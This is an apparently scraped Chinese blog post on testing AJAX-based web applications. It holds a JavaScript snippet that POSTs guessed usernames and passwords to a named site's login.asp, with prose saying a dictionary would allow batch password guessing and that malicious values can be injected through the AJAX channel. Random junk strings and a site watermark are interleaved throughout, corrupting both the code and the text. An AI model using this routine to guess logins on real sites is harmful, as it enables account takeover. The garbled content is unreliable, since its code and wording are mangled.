关于AJAX注入

1^n^6B-SazL_J0

:S^&\3s%s1V0在本地域如何对AJAX模块化的web程序进行安全检测呢？

虽然AJAX不可以直接跨域传输数据，但是你可以在本地域中与目标AJAX模块传输数据。拿我的To Do/Project做个实验，如下代码：

#N1u'cfA,{3m0<script. type="text/javascript" src="http://www.0x37.com/Project/js/ajax.js"></script>
D1],MH#{.N0<script>
"e2|pjO0alert(_x)
7B/l2AN
X)flZP0function check_login(){

var up="up="+escape('余弦')+"|"+"1234567";
/J Ow+b C
G\.x0_x.open("POST","http://www.0x37.com/Project/login.asp",true);IXPUB技术博客{#cC&a(X*CNOD6e
_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");IXPUB技术博客9UCIM]P8iu
_x.onreadystatechange=function() {IXPUB技术博客B.h*G9IRI
f/f
        if(_x.readyState==4) {
8m a K#P P0A0            if(_x.status==200) {
w8X_0W|0     alert(_x.responseText);IXPUB技术博客&`+t&zNP't8E\
    }
+S9@6|hnU/Xe6Q0    }
$_6m9H6\,r!pB_&N&YS0}
1k8Q!pg"y)d0_x.send(up);IXPUB技术博客!F*M2U H1YJ
}IXPUB技术博客;Q B qa.g#X"a
check_login();IXPUB技术博客%r@7i3J3DnW
//logout();IXPUB技术博客
Fr.j;Wy(n
</script>

在本地提交这段代码后，它会与0x37 Project上的login.asp文件进行通信，它的作用是猜测用户名与密码，并根据返回值判断正确与否，假如有个字典，那么就可以批量猜测密码了，这样的通信很正常。我们构造的恶意值也就是在这个AJAX盒子中进行注入的。当然，我们也可以直接对AJAX中的目标URL进行检测。AJAX虽然将很多服务端文件“隐藏”了起来，但这并不说明这些服务端文件就安全了，也许还会暴露出更严重的问题。